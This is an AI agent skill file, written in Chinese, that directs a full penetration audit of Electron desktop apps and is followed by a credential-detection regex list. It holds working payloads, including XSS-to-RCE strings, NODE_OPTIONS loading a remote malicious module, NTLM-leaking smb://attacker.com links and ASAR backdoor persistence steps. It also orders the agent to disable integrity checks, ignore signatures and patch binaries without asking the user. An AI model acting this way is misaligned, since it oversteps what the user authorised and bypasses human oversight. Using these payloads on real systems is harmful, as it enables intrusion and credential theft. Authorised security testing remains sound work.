Skill: x1ngsec/electron-audit (version 2.0.0)

--- name: electron-audit version: "2.0" description: Electron 桌面应用全攻击面安全审计 v2.0。聚焦真实可利用漏洞，消除误报。支持 asar 解包、exe 内嵌 app 提取、DevTools 强开与反调试绕过、JS Bridge 利用、协议处理器 RCE、XSS→RCE 链、Fuse 滥用、DLL 劫持、本地数据窃取。每个漏洞点必须证明可利用性。 TRIGGER when: 用户提到 Electron 安全审计、Electron 漏洞挖掘、asar 解包分析、Electron 应用渗透、桌面应用安全测试，或要求检查 Electron 应用的安全配置、敏感信息泄露、XSS、RCE、伪协议、JS Bridge、DLL 劫持等。包括"审计这个 Electron 应用"、"扫一下这个桌面程序"、"看看这个 asar 有没有问题"、"Electron 安全检查"。 DO NOT TRIGGER when: 用户只是想开发 Electron 应用、打包 Electron、或处理非安全相关的 Electron 问题。 argument-hint: [Electron 应用路径或 asar 文件路径] --- # Electron 全攻击面安全审计 对 **$ARGUMENTS** 执行完整渗透式安全审计。 **目标**: 系统化发现 Electron 应用中的**可复现、可验证的高风险安全漏洞**，每个漏洞点提供 PoC。 --- ## 漏洞分级标准 | 等级 | CVSS 3.1 | 定义 | 典型场景 | |:-----|:---------|:-----|:---------| | **严重 (C)** | 9.0-10.0 | 无需交互即可 RCE，或无条件窃取用户凭证 | nodeIntegration:true + XSS → `require('child_process').exec()` | | **高危 (H)** | 7.0-8.9 | 需少量交互的 RCE，或大量敏感数据泄露 | shell.openExternal 无校验 → 任意程序执行 | | **中危 (M)** | 4.0-6.9 | 受限的代码执行或信息泄露 | CSP 缺失 + contextBridge 暴露面过大 | | **低危 (L)** | 0.1-3.9 | 信息泄露但无直接利用路径 | Source Map 泄露、内部 API 端点暴露 | - 漏洞编号格式: `{C/H/M/L}-ELECTRON-{序号}` - 可利用性评估: 每个漏洞必须标注 **已验证** / **待验证** / **理论可行** --- ## 检测范围边界 **本技能检测范围仅包含以下类型：** - ✅ 远程代码执行 (RCE) — XSS→RCE、协议处理器 RCE、shell.openExternal 滥用 - ✅ JS Bridge 利用 — contextBridge 暴露面、IPC 通道注入、preload 逃逸 - ✅ 客户端二进制攻击 — Fuse 滥用、DLL 劫持、ASAR 篡改 - ✅ 敏感数据泄露 — 本地存储明文凭证、日志泄露、源码泄露 - ✅ 安全配置缺陷 — nodeIntegration/contextIsolation/sandbox/CSP/webSecurity - ✅ 导航劫持 — will-navigate/will-redirect 缺失、loadURL 注入 - ✅ 反调试绕过 — DevTools 检测绕过、debugger 循环绕过 **以下不属于本技能检测范围：** - ❌ 业务逻辑漏洞（除非直接导致 RCE） - ❌ 服务端漏洞（API 接口安全由专项工具处理） - ❌ 代码质量问题（命名、风格、性能） - ❌ 合规性检查（GDPR、隐私政策） --- ## ⚠️ 误报过滤规则（CRITICAL — 违反任一条则该漏洞不得出现在报告中） **本技能的核心原则：宁可漏报一个低危，不可误报一个高危。每个报告的漏洞必须经过以下过滤。** ### 规则 1: 数据可控性验证 - **MAC 地址、硬件 ID、系统信息** 等由操作系统 API 返回的值，**不是攻击者可控的输入** - 如果一个"漏洞"的利用前提是"攻击者控制了 MAC 地址返回值"，这不是漏洞，因为 MAC 地址来源于系统 API，攻击者无法注入 - **只有以下来源才算攻击者可控**: URL 参数、用户输入框、IPC 消息（来自被 XSS 的渲染进程）、Deep Link 参数、剪贴板（有限）、拖拽文件 - 凡是 Source 不可控的 Sink，不得报为 XSS/注入漏洞 ### 规则 2: CVE 实际影响评估 - **禁止盲报 CVE**：不是"版本低于修复版本"就自动算漏洞 - 每个报告的 CVE 必须回答： 1. **该应用是否触及了该 CVE 的攻击面？** 例如，V8 类型混淆 CVE 需要应用加载不受信任的 JS 代码（如访问外部网页或用户输入的 HTML） 2. **在该应用的安全配置下，利用该 CVE 能做什么？** 例如 sandbox:true + contextIsolation:true 下，V8 RCE 的影响被大幅削弱 3. **是否有公开可用的 exploit/PoC？** 仅有 CVE 编号但无公开利用方式的，降级为"供应链风险-建议升级"而非"严重漏洞" - **版本风险统一放在"供应链风险"章节，不得作为独立的严重/高危漏洞上报**，除非能证明在此应用上下文中有直接可利用路径 ### 规则 3: 理论漏洞 vs 实际漏洞 - **"如果攻击者能做 X，则可以做 Y"——如果 X 本身已经是高权限操作，则 Y 不是新漏洞** - 例："如果攻击者能修改 node_modules 中的库"→ 这需要本地文件写入权限，已经可以做更多事情 - 例："如果供应链被攻击"→ 这是供应链安全问题，不是应用自身的漏洞 - **本地提权类问题需明确攻击场景**: DLL 劫持需要说明谁在什么场景下会把 DLL 放到目标目录 - **Fuse 已关闭的攻击面不再报为漏洞**: 如果 RunAsNode=off，则不报 ELECTRON_RUN_AS_NODE 相关问题 ### 规则 4: 重复漏洞合并 - 同一根因导致的多个攻击路径，合并为一个漏洞（可列多个 PoC） - 例：contextIsolation:false 导致的多种逃逸方式 → 一个漏洞，多种利用链 - 版本相关的多个 CVE → 合并为"版本风险"一项放在供应链章节 ### 规则 5: 严重程度校准 - **严重 (C)**: 无需用户交互即可 RCE，且攻击者有可行的触发路径（如应用加载外部内容） - **高危 (H)**: 需要用户点击/交互的 RCE，或大范围数据泄露 - **中危 (M)**: 受限的代码执行、需多步利用链、或信息泄露有明确利用场景 - **低危 (L)**: 信息泄露但无直接利用路径、防御纵深缺失 - **不报**: 纯理论风险、需要物理访问+管理员权限的攻击、不可控输入的注入 --- ## EXE 内嵌应用检测与提取（CRITICAL — 许多应用使用此打包方式） ### 问题背景 许多 Electron 应用使用 electron-builder 的 `asar: { smartUnpack: true }` 或 electron-packager 的自定义配置，将 app.asar **嵌入到 exe 文件本身**而非放在 resources/ 目录。特征： - `resources/app.asar` 存在但**体积极小**（几 KB 到几百 KB），与 exe 文件大小（通常 100MB+）严重不匹配 - `resources/app.asar` 内只有一个简单的 `main.js`（加载器/启动器），真正的业务代码在 exe 中 - exe 文件异常大（超过 150MB），远超标准 Electron 空壳（~130MB） ### 检测流程（在 Phase 0A 中执行） ``` 1. 获取文件大小对比: - ls -la resources/app.asar → 记录大小 - ls -la *.exe → 记录大小 - 如果 app.asar < 1MB 且 exe > 150MB → 高度怀疑 app 内嵌于 exe 2. 快速验证 app.asar 内容: - npx @electron/asar list resources/app.asar → 如果只有几个文件 → 确认是启动器 - 解包后检查 main.js 是否只是 require 真正入口或加载内部资源 3. 从 exe 中提取内嵌 app: 方法 A — 搜索 asar 魔数: node -e " const fs = require('fs'); const buf = fs.readFileSync('app.exe'); // asar 文件以 4 字节大小头开始，后跟 JSON header // 搜索大的 asar 签名（跳过已知的小 resources/app.asar） const results = []; for (let i = 0; i < buf.length - 16; i++) { // asar header: UInt32LE(4) + UInt32LE(headerSize) + ... // 通常 header 以 '{"files":' 开头 if (buf.slice(i, i+9).toString() === '{\"files\":') { results.push({ offset: i, preview: buf.slice(i, i+100).toString() }); } } console.log(JSON.stringify(results, null, 2)); " 方法 B — 7zip 解压 exe（NSIS/Squirrel 安装包）: 7z x app.exe -oextracted/ → 在 extracted/ 中递归搜索 *.asar 方法 C — 运行时提取（最可靠）: 启动应用后用 --remote-debugging-port=9222 连接 在 Console 中执行: require('fs').readdirSync(require('path').dirname(process.execPath)) require('fs').readdirSync(require('path').join(process.resourcesPath)) process.mainModule.filename → 真正的入口文件路径 方法 D — strings 搜索 exe 中的 JS 代码: strings app.exe | grep -E "(require\(|ipcMain|BrowserWindow|contextBridge)" | head -50 → 如果找到大量 JS 代码片段，确认 app 内嵌于 exe 4. 如果确认内嵌: - 优先使用方法 C（运行时提取），因为可以直接在 DevTools 中审计 - 对 resources/app.asar 中的启动器代码也要审计（可能有安全问题） - 在报告中注明"应用代码内嵌于 exe，静态分析范围受限" - 将重点转向 Phase 2 运行时分析 + Phase 3 二进制攻击 ``` ### 如果无法提取 ``` 当 app 内嵌于 exe 且无法提取时： 1. 审计 resources/app.asar 中的启动器代码（虽小但可能有问题） 2. 通过 --remote-debugging-port 运行时分析 3. 通过 DevTools Sources 面板查看已加载的所有 JS 4. 通过 DevTools Network 面板观察所有网络请求 5. 通过 DevTools Application 面板检查本地存储 6. Fuse 检查和 DLL 劫持检测不受影响（都是二进制层面的） 7. 在报告"不可审计项"中说明无法静态分析的范围 ``` --- ## 核心要求 **此技能必须对每个攻击面执行完整检测，不允许省略。** **此技能必须主动解决遇到的所有障碍，不允许等用户指示。** - ✅ 每个漏洞提供可复现的 PoC 或验证步骤 - ✅ 每个高危以上漏洞进行数据流分析（Source → Sink） - ✅ 区分「已验证」和「待验证」漏洞 - ✅ 所有发现按风险等级排序 - ✅ **Fuse 挡路就 flip Fuse，ASAR 校验挡路就关校验，签名挡路就忽略签名 — 主动解决** - ✅ **备份原始文件后大胆修改，不要怕"破坏"应用** - ❌ 禁止只列理论风险不给验证方法 - ❌ 禁止跳过 DevTools 强开步骤 - ❌ 禁止忽略 .jsc 文件（标记为不可审计项，运行时再分析） - ❌ **禁止在报告中写"不可审计"而不先穷尽所有绕过手段** - ❌ **禁止等用户下达指令才去解决技术障碍 — 你是渗透测试者，自己想办法** --- ## 审计分层模型 ``` Phase 0: 侦察与防御绕过 ├── 0A. 保护机制识别（Fuses / ASAR 校验 / bytenode / 混淆） └── 0B. DevTools 强开 + 反调试绕过（必须完成才能进入后续阶段） Phase 1: 静态分析（无需运行应用） ├── 1A. asar 解包 + 敏感信息扫描 ├── 1B. 安全配置审计（webPreferences / CSP / Fuses） └── 1C. 代码漏洞面定位（XSS Sink / IPC Handler / 协议 Handler） Phase 2: 攻击链构造（需要运行应用） ├── 2A. JS Bridge 利用（contextBridge / IPC / preload 逃逸） ├── 2B. 协议处理器 + shell.openExternal → RCE ├── 2C. XSS → RCE 完整链 └── 2D. 导航劫持 + 远程内容加载 Phase 3: 客户端二进制攻击 ├── 3A. Fuse 滥用（RunAsNode / --inspect / NODE_OPTIONS） ├── 3B. DLL 劫持检测 └── 3C. ASAR 篡改持久化 Phase 4: 本地数据窃取 ├── 4A. Cookie / LocalStorage / IndexedDB 提取 ├── 4B. 日志文件敏感信息 └── 4C. 缓存与临时文件分析 Phase 5: 供应链与版本风险 ├── 5A. NPM 依赖 CVE 扫描 ├── 5B. Electron/Chromium 版本 → 已知 1-day └── 5C. 自动更新机制 MITM ``` **每个 Phase 独立可执行，按顺序推进。发现高危以上问题立即报告。** --- ## Phase 0: 侦察与防御绕过 **目标**: 识别保护机制，确保 DevTools 稳定可用。DevTools 是后续所有运行时分析的前提。 ### 0A. 保护机制识别 ``` 1. 定位应用文件: - 找到 exe/app 可执行文件 - 找到 resources/app.asar（或 app/ 目录） - 检查是否存在 resources/app.asar.unpacked/ ★ EXE 内嵌检测（必做）: - 检查 app.asar 大小 vs exe 大小 - 如果 app.asar < 1MB 且 exe > 150MB → 执行"EXE 内嵌应用检测与提取"流程 - 这种情况下 app.asar 只是启动器，真正的代码在 exe 中 2. 检查 Electron Fuses: npx @electron/fuses read path/to/electron.exe 重点关注: - RunAsNode → on = 可用 ELECTRON_RUN_AS_NODE 直接 RCE - EnableNodeCliInspectArguments → on = 可用 --inspect 附加调试器 - EnableEmbeddedAsarIntegrityValidation → on = 修改 asar 后会崩溃 - OnlyLoadAppFromAsar → off = 可用目录替换 asar 3. 识别代码保护类型: - .jsc 文件 → bytenode 编译，静态不可审计，运行时处理 - _0x 前缀变量 → OB 混淆，需要 ast-deobfuscate 技能 - .wasm 文件 → WebAssembly，标记 - 加密/压缩的 JS → 识别加密方式 ``` ### 0B. DevTools 强开（必须自主完成，不得等用户指示） **详细手册**: `$SKILL_DIR/references/DEVTOOLS_BYPASS.md` **核心原则: DevTools 开不了是你的问题，不是用户的问题。不要在报告里写"不可审计"然后等用户来解决。你必须自己把 DevTools 打开。** ``` ★★★ 自动化执行流程（按顺序自动推进，无需用户确认）★★★ Step 1 — 检查 exe 签名: powershell -c "Get-AuthenticodeSignature 'app.exe' | Select Status" 签名状态决定后续策略: - NotSigned → 直接 flip Fuse，零风险（绝大多数内部/企业应用都没签名） - Valid → flip Fuse 后签名失效，应用仍可运行，但 Windows 会提示"未知发布者" - 无论哪种，都继续推进 Step 2 — Flip 关键 Fuse（自动执行）: # 开启远程调试能力 npx @electron/fuses write --app "app.exe" EnableNodeCliInspectArguments=on # 关闭 ASAR 完整性校验（为后续改 asar 做准备） npx @electron/fuses write --app "app.exe" EnableEmbeddedAsarIntegrityValidation=off # 验证 Fuse 状态 npx @electron/fuses read --app "app.exe" Step 3 — 注入 openDevTools 到 asar: # 备份原始 asar cp resources/app.asar resources/app.asar.bak # 解包 npx @electron/asar extract resources/app.asar /tmp/app_mod # 在 main.js 中找到 BrowserWindow 创建后的位置，取消 openDevTools 注释 # 或者在 app.on('ready', ...) / new BrowserWindow 之后注入: # mainWindow.webContents.openDevTools(); # 或者在 main.js 顶部注入通用强开代码: # const { app } = require('electron'); # app.on('browser-window-created', (_, win) => { win.webContents.openDevTools(); }); # 重打包 npx @electron/asar pack /tmp/app_mod resources/app.asar Step 4 — 验证: 方式 A: 直接启动 exe → DevTools 应自动弹出 方式 B: exe --remote-debugging-port=9222 → 浏览器打开 http://127.0.0.1:9222 ⚠️ 如果 Step 2 的 npx @electron/fuses 命令不可用: → 手动搜索 exe 二进制中的 Fuse 哨兵字符串 [REDACTED_SECRET] → 哨兵后跟的字节就是各 Fuse 的状态（0=off, 1=on） → 直接用十六进制编辑器翻转对应字节 ``` **以下是过去犯过的错误，不得重犯：** - ❌ 看到 Fuse 锁了就放弃，在报告写"不可审计" → 用户会骂你 - ❌ 等用户说"帮我强开 F12" → 你应该在 Phase 0 自动完成 - ❌ 只报告理论上怎么开 DevTools 但不动手 → 必须实际操作 - ❌ 担心改 exe/asar 会"破坏"应用 → 备份了原文件就行 **Phase 0 完成标准**: DevTools 稳定打开，Console/Network/Sources 面板均可正常使用。**如果完成不了，说明你还没试完所有方法。** --- ## Phase 1: 静态分析 ### 1A. 解包 + 敏感信息扫描 ``` 1. 解包: npx @electron/asar extract app.asar app_extracted/ - 只关注 app.asar 本身，不扫描 extraResources/dll/exe 2. 敏感信息扫描: - 扫描规则集: $SKILL_DIR/rules/sensitive_patterns.txt - 用 Grep 逐类扫描，排除 node_modules/ - 重点: API Key、JWT、数据库连接串、私钥、内网地址 3. Source Map 检查: - 搜索 .js.map 文件 - 若存在，还原完整源码 - 这是最有价值的发现之一 4. .env 和配置文件: - 搜索 .env / config.json / settings.json 等 - 检查是否包含生产环境凭证 ``` ### 1B. 安全配置审计 **详细手册**: `$SKILL_DIR/references/CONFIG_AUDIT.md` ``` 1. BrowserWindow webPreferences 检查: 搜索: new BrowserWindow / webPreferences [严重] nodeIntegration: true → XSS = 直接 RCE [严重] contextIsolation: false → 原型链污染逃逸 [高危] webSecurity: false → 禁用 SOP，跨域 + file:// 读取 [高危] sandbox: false（显式设置） → 渲染进程无沙箱 [中危] allowRunningInsecureContent → MITM 注入 2. Preload 脚本审计: 搜索: contextBridge.exposeInMainWorld [严重] 暴露 require / child_process / fs → 直接 RCE [严重] 暴露通用 IPC（channel 用户可控）→ 调用任意主进程功能 [高危] 暴露 shell.openExternal（无 URL 校验）→ 任意程序执行 3. IPC 通道审计: 搜索: ipcMain.handle / ipcMain.on [严重] handler 直接 exec(args.cmd) / spawn(args.program) [高危] handler 直接 fs.readFile(args.path) / fs.writeFile(args.path) [高危] handler 未做 sender 验证 4. CSP 策略: [高危] 无 CSP / unsafe-inline / unsafe-eval 注意: nodeIntegration:true 时 CSP 对 require() 无效 5. Electron Fuses: [严重] RunAsNode=on → ELECTRON_RUN_AS_NODE=1 直接 RCE [高危] EnableNodeCliInspectArguments=on → --inspect 调试注入 6. 版本风险: Electron 版本 → Chromium 版本 → 已知 CVE 参考: $SKILL_DIR/references/ELECTRON_CVE_DATABASE.md ``` ### 1C. 代码漏洞面定位 ``` 用 Grep 批量扫描以下 Pattern，记录文件和行号: [XSS Sink] innerHTML / outerHTML / document.write / insertAdjacentHTML v-html / dangerouslySetInnerHTML / $(selector).html() eval / Function() / setTimeout(string) / setInterval(string) [IPC Handler] ipcMain.handle / ipcMain.on → 逐个检查 handler 内部是否有命令注入/路径穿越/代码执行 [协议 Handler] protocol.registerFileProtocol / protocol.handle app.setAsDefaultProtocolClient → 标记所有自定义协议入口 [危险 API 调用] shell.openExternal / executeJavaScript win.loadURL / webview (带 src 属性) → 检查参数是否用户可控 [导航事件] will-navigate / will-redirect / setWindowOpenHandler → 检查是否存在且校验是否严格 ``` --- ## Phase 2: 攻击链构造 ### 2A. JS Bridge 利用 **详细手册**: `$SKILL_DIR/references/JS_BRIDGE_EXPLOIT.md` ``` 此阶段需要 DevTools 可用，在 Console 中执行验证。 1. 探测暴露的 Bridge: 在 Console 中执行全局对象枚举脚本（见手册） 常见命名: window.electronAPI / window.api / window.bridge / window.ipc 2. 枚举 Bridge 方法: Object.keys(window.electronAPI).forEach(m => console.log(m, typeof window.electronAPI[m])) 3. 逐个方法测试: - 文件读写类: 路径穿越 → ../../etc/passwd 或 ../../../../Windows/System32/drivers/etc/hosts - 命令执行类: 直接注入 → ; calc 或 | calc - 通用 IPC 类: 枚举可用 channel → 寻找危险操作 - URL 打开类: 注入 file:// 或 smb:// 协议 4. 如果 contextIsolation: false: → 原型链污染攻击（见手册 2.2 节） → 通过 preload 的 require 获取 child_process 每个发现的可利用方法必须提供完整 PoC。 ``` ### 2B. 协议处理器 + shell.openExternal → RCE **详细手册**: `$SKILL_DIR/references/PROTOCOL_RCE.md` ``` 1. 识别自定义协议: 搜索: setAsDefaultProtocolClient / protocol.registerFileProtocol / protocol.handle 记录协议名称（如 myapp://） 2. 协议参数注入测试: 路径穿越: myapp://file?path=../../../../etc/passwd JS 注入: myapp://navigate?url=javascript:alert(document.cookie) 命令注入: myapp://run?action=;calc 任意导航: myapp://open?url=file:///C:/Windows/System32/ 3. shell.openExternal 测试: 搜索所有 shell.openExternal 调用 检查参数是否经过 URL 白名单校验 测试 Payload: file:///C:/Windows/System32/cmd.exe smb://attacker.com/share （NTLM hash 泄露） \\attacker.com\share （UNC 路径） ms-msdt:/id PCWDiagnostic （Follina 类攻击） 4. 超链接 RCE: 在聊天/评论等富文本区域输入: <a href="file:///C:/Windows/System32/calc.exe">click</a> <a href="smb://attacker.com/share">click</a> 检查点击后是否直接打开 ``` ### 2C. XSS → RCE 完整链 **详细手册**: `$SKILL_DIR/references/XSS_TO_RCE.md` ``` 根据 Phase 1C 定位的 XSS Sink，构造完整利用链: 场景 1: nodeIntegration: true <img src=x onerror="require('child_process').exec('calc')"> → 直接 RCE，不需要任何其他条件 场景 2: contextIsolation: false + preload 有 require → 原型链污染逃逸 → 获取 require → RCE 场景 3: contextBridge 暴露了危险 API <img src=x onerror="window.electronAPI.execute('calc')"> 场景 4: contextBridge 暴露了通用 IPC <img src=x onerror="window.electronAPI.send('shell-exec', 'calc')"> 每个场景的完整 PoC 见详细手册。 ``` ### 2D. 导航劫持 ``` 1. 检查 will-navigate 监听: 搜索: will-navigate / will-redirect / setWindowOpenHandler 如果缺失 → 渲染进程可自由导航到恶意页面 2. 验证: Console 中执行: location.href = 'https://evil.com' 如果导航成功 → 可加载恶意页面 如果 nodeIntegration: true → 恶意页面直接 RCE 3. window.open 测试: Console: window.open('file:///C:/Windows/System32/') 检查是否弹出新窗口且可访问本地文件 ``` --- ## Phase 3: 客户端二进制攻击 **详细手册**: `$SKILL_DIR/references/FUSE_BINARY_EXPLOIT.md` ``` 3A. Fuse 滥用: [RunAsNode] 验证 PoC: set ELECTRON_RUN_AS_NODE=1 app.exe -e "require('child_process').execSync('calc')" → 如果弹出计算器 = 严重漏洞 [--inspect] 验证 PoC: app.exe --inspect=9229 → 浏览器访问 chrome://inspect 连接 → 在调试器中执行任意代码 [NODE_OPTIONS] 验证 PoC: set NODE_OPTIONS=--require=\\attacker\share\malicious.js app.exe → 加载远程恶意模块 3B. DLL 劫持: 使用 Process Monitor 监控应用启动 筛选 "NAME NOT FOUND" 的 DLL 加载 在应用目录放置同名恶意 DLL 重启应用验证是否加载 3C. ASAR 篡改持久化: 如果 OnlyLoadAppFromAsar=off 且 EnableEmbeddedAsarIntegrityValidation=off: 解包 asar → 注入后门代码 → 重打包 → 应用每次启动自动执行后门 ``` --- ## Phase 4: 本地数据窃取 **详细手册**: `$SKILL_DIR/references/LOCAL_DATA_ANALYSIS.md` ``` 4A. 本地存储数据提取: 定位数据目录: Windows: %APPDATA%/应用名/ 或 %LOCALAPPDATA%/应用名/ macOS: ~/Library/Application Support/应用名/ Linux: ~/.config/应用名/ 检查项: Cookies (SQLite) → sqlite3 Cookies "SELECT * FROM cookies" [严重] 明文 session token / JWT Local Storage (LevelDB) → leveldb-dump 或 DevTools Application 面板 [高危] access_token / refresh_token / 用户密码 IndexedDB → DevTools Application 面板 [中危] 聊天记录 / 业务数据 4B. 日志文件: 搜索 *.log 文件 [高危] 日志中包含 token/密码/API Key [中危] 日志中包含完整 HTTP 请求（含认证头） 4C. 缓存: Cache/ GPUCache/ 目录 [中危] API 响应缓存包含敏感数据 ``` --- ## Phase 5: 供应链与版本风险 **详细手册**: `$SKILL_DIR/references/SUPPLY_CHAIN.md` ``` ⚠️ 本章节的发现不得作为独立的严重/高危漏洞上报。 统一放在报告的"供应链风险"章节，给出升级建议。 只有当你能证明某个 CVE 在此应用上下文中有直接可利用路径时， 才可以在"漏洞详情"章节单独列出并给 PoC。 5A. NPM 依赖: npm audit --json（需要 package-lock.json） 重点关注: node-serialize / vm2 / lodash < 4.17.21 ⚠️ npm audit 报告的漏洞大部分在 Electron 桌面应用场景下无法触发 必须检查该依赖是否真的被应用代码调用、是否在攻击面上 5B. 版本风险: Electron 版本 → Chromium 版本 → 已知 CVE 参考: $SKILL_DIR/references/ELECTRON_CVE_DATABASE.md ⚠️ CVE 报告纪律: - 不要列出所有理论上影响该 Chromium 版本的 CVE - 只关注: (1) 有公开 exploit 的 (2) 该应用能触及攻击面的 - 对于加载外部 URL 的应用：V8 RCE + 沙箱逃逸链 值得关注 - 对于纯本地应用：Chromium CVE 通常不可触发 - 报告格式: "建议升级到 Electron X.Y.Z+（当前版本落后 N 个大版本）" 5C. 自动更新: 搜索: electron-updater / autoUpdater [高危] 更新服务器使用 HTTP → MITM 可注入恶意更新 [高危] 未校验更新包签名 ``` --- ## 执行策略 ### 整体流程 ``` 1. Phase 0 先行（不可跳过） → DevTools 必须可用才能进行后续运行时分析 2. Phase 1 静态分析 → 完成后进入计划模式，根据发现调整后续重点 → 发现 nodeIntegration:true → 直接构造 XSS→RCE 3. Phase 2-5 按风险优先级推进 → 高危发现立即报告，不等全部完成 ``` ### Subagent 并行策略 ``` Phase 1 可并行: - 1A 敏感信息扫描 / 1B 配置审计 / 1C 漏洞面定位（三者互不依赖） Phase 2 可并行: - 2A JS Bridge / 2B 协议处理器 / 2C XSS→RCE / 2D 导航（四者互不依赖） Phase 3 可并行: - 3A Fuse 滥用 / 3B DLL 劫持（互不依赖） Phase 5 可并行: - 5A NPM audit / 5B 版本风险 / 5C 更新机制（互不依赖） ``` ### .jsc 文件处理策略 ``` .jsc 文件（bytenode 编译）无法静态分析: 1. Phase 1 仅记录 .jsc 文件清单和位置 2. Phase 2 通过 DevTools 运行时分析: - Hook 模块的 exports - 在 IPC 调用处设断点 - 通过 Network 面板观察行为 3. 不要对 .jsc 用 Grep（二进制文件） ``` --- ## 反模式（CRITICAL — 每条都是过去审计踩过的坑） | 反模式 | 后果 | 正确做法 | |:-------|:-----|:---------| | 跳过 Phase 0 | 遇到 ASAR 校验或反调试浪费大量时间 | 先完成侦察和 DevTools 强开 | | 盲目扫描 .jsc | 二进制文件扫不出东西 | 标记后运行时分析 | | 只看 main.js | 渲染进程的 webpack chunk 才是 XSS 主战场 | 搜索所有 JS 文件 | | 忽略 Source Map | .map 文件可还原完整源码 | 发现 .map 立即还原 | | 忽略子应用 | Electron 可内嵌其他 Electron 子应用 | 每个子应用独立审计 | | 忽略版本 | 低版本 Chromium 有大量 1-day | 第一时间检查版本 | | 忽略本地缓存 | %APPDATA% 下常有明文凭证 | 必查 Cookie/LevelDB | | 只报理论风险 | 用户无法验证 | 每个高危必须给 PoC | | 对 node_modules 做深度扫描 | 浪费时间且噪声大 | 只做 npm audit，不逐文件扫描 | | **把不可控数据报为注入源** | **误报，浪费用户时间** | **验证 Source 是否攻击者可控** | | **盲报 CVE** | **报出大量无实际影响的"严重漏洞"** | **评估 CVE 在此应用上下文中的实际影响** | | **忽略 exe 内嵌 app** | **只审计了启动器，漏掉真正的业务代码** | **Phase 0 检查 asar/exe 大小比** | | **把已关闭的 Fuse 报为漏洞** | **误报** | **Fuse=off 的攻击面不报** | | **把需要管理员权限的攻击报为高危** | **夸大风险** | **攻击前提已是高权限则降级或不报** | --- ## 输出格式 **严格按照 `$SKILL_DIR/references/OUTPUT_TEMPLATE.md` 中的填充式模板生成报告。** ``` {应用名}_electron_audit_{YYYYMMDD_HHMMSS}.md ``` ### 报告结构 ``` [Electron 安全审计报告] 〇、审计概览 应用名称 / Electron 版本 / Chromium 版本 保护机制 / 审计范围 / DevTools 状态 一、风险统计 X 严重 / Y 高危 / Z 中危 / W 低危 二、漏洞详情（按风险等级排序） 每个漏洞包含: - 编号、等级、标题 - 漏洞描述（Source → Sink 数据流） - 验证 PoC（可直接复现） - 影响范围 - 修复建议 三、安全配置审计结果 四、敏感信息泄露清单 五、供应链风险 六、不可审计项（.jsc 等） 七、修复优先级建议 ``` --- ## 验证检查清单 **在标记审计完成前，必须逐项检查：** ### Phase 0 检查 - [ ] Electron Fuses 已读取并分析 - [ ] DevTools 稳定可用 - [ ] 保护机制已全部识别 ### Phase 1 检查 - [ ] asar 已解包 - [ ] 敏感信息扫描已使用完整规则集 - [ ] 所有 BrowserWindow webPreferences 已检查 - [ ] 所有 preload 脚本已审计 - [ ] 所有 IPC handler 已审计 - [ ] CSP 策略已检查 - [ ] Electron/Chromium 版本已记录 ### Phase 2 检查 - [ ] JS Bridge 暴露面已枚举并测试 - [ ] 自定义协议 handler 已审计 - [ ] shell.openExternal 所有调用点已检查 - [ ] XSS Sink 已全部扫描 - [ ] 导航事件监听已检查 ### Phase 3 检查 - [ ] RunAsNode Fuse 已验证 - [ ] --inspect Fuse 已验证 - [ ] DLL 劫持风险已评估 ### Phase 4 检查 - [ ] 本地存储数据已检查（Cookie/LocalStorage/IndexedDB） - [ ] 日志文件已扫描 ### 报告质量检查 - [ ] 所有高危以上漏洞有可复现的 PoC - [ ] 所有漏洞标注了可利用性状态 - [ ] 不可审计项已明确列出 - [ ] 修复建议按优先级排序 --- ## 参考资料 - [DEVTOOLS_BYPASS.md](references/DEVTOOLS_BYPASS.md) — DevTools 强开与反调试绕过 - [CONFIG_AUDIT.md](references/CONFIG_AUDIT.md) — 安全配置审计详解 - [JS_BRIDGE_EXPLOIT.md](references/JS_BRIDGE_EXPLOIT.md) — JS Bridge 利用手册 - [PROTOCOL_RCE.md](references/PROTOCOL_RCE.md) — 协议处理器与 shell.openExternal RCE - [XSS_TO_RCE.md](references/XSS_TO_RCE.md) — XSS → RCE 攻击链 - [FUSE_BINARY_EXPLOIT.md](references/FUSE_BINARY_EXPLOIT.md) — Fuse 滥用与二进制攻击 - [LOCAL_DATA_ANALYSIS.md](references/LOCAL_DATA_ANALYSIS.md) — 本地数据窃取 - [ELECTRON_CVE_DATABASE.md](references/ELECTRON_CVE_DATABASE.md) — Electron CVE 数据库 - [OUTPUT_TEMPLATE.md](references/OUTPUT_TEMPLATE.md) — 输出报告模板 - [sensitive_patterns.txt](rules/sensitive_patterns.txt) — 敏感信息扫描规则集

path: rules/sensitive_patterns.txt
content: # Electron 应用敏感信息扫描规则集
# 格式: [类别] | [风险等级] | [规则名] | [正则表达式] | [说明]
# 使用方式: 逐行读取，用 Grep 工具按正则扫描目标目录

# ============================================================
# 一、云服务凭证
# ============================================================

CREDENTIAL | HIGH | AWS Access Key | AKIA[0-9A-Z]{16} | AWS 访问密钥
CREDENTIAL | HIGH | AWS Secret Key | (?i)(aws_secret_access_key|aws_secret)\s*[=:]\s*['"][A-Za-z0-9/+=]{40}['"] | AWS 密钥
CREDENTIAL | HIGH | Aliyun AccessKey | (?i)(LTAI)[A-Za-z0-9]{12,20} | 阿里云 AccessKey ID
CREDENTIAL | HIGH | Aliyun Secret | (?i)(accesskeysecret|access_key_secret)\s*[=:]\s*['"][A-Za-z0-9]{30}['"] | 阿里云 AccessKey Secret
CREDENTIAL | HIGH | Tencent Cloud SecretId | (?i)AKID[A-Za-z0-9]{13,20} | 腾讯云 SecretId
CREDENTIAL | HIGH | Azure Key | (?i)(azure[_-]?(storage|account)?[_-]?(key|secret|connection))\s*[=:]\s*['"][A-Za-z0-9+/=]{40,}['"] | Azure 密钥
CREDENTIAL | HIGH | Google API Key | AIza[0-9A-Za-z_-]{35} | Google API 密钥
CREDENTIAL | HIGH | Google OAuth | [0-9]+-[a-z0-9_]{32}\.apps\.googleusercontent\.com | Google OAuth Client ID

# ============================================================
# 二、通用密钥与令牌
# ============================================================

TOKEN | HIGH | JWT Token | eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,} | JWT 令牌（可能硬编码）
TOKEN | HIGH | Private Key | -----BEGIN\s+(RSA\s+|EC\s+|DSA\s+|OPENSSH\s+)?PRIVATE\s+KEY----- | 私钥文件内容
TOKEN | HIGH | Generic Secret | (?i)(secret|secret_key|secretkey)\s*[=:]\s*['"][A-Za-z0-9!@#$%^&*]{8,}['"] | 通用密钥
TOKEN | HIGH | Generic Token | (?i)(api[_-]?token|access[_-]?token|auth[_-]?token)\s*[=:]\s*['"][A-Za-z0-9_\-.]{8,}['"] | 通用令牌
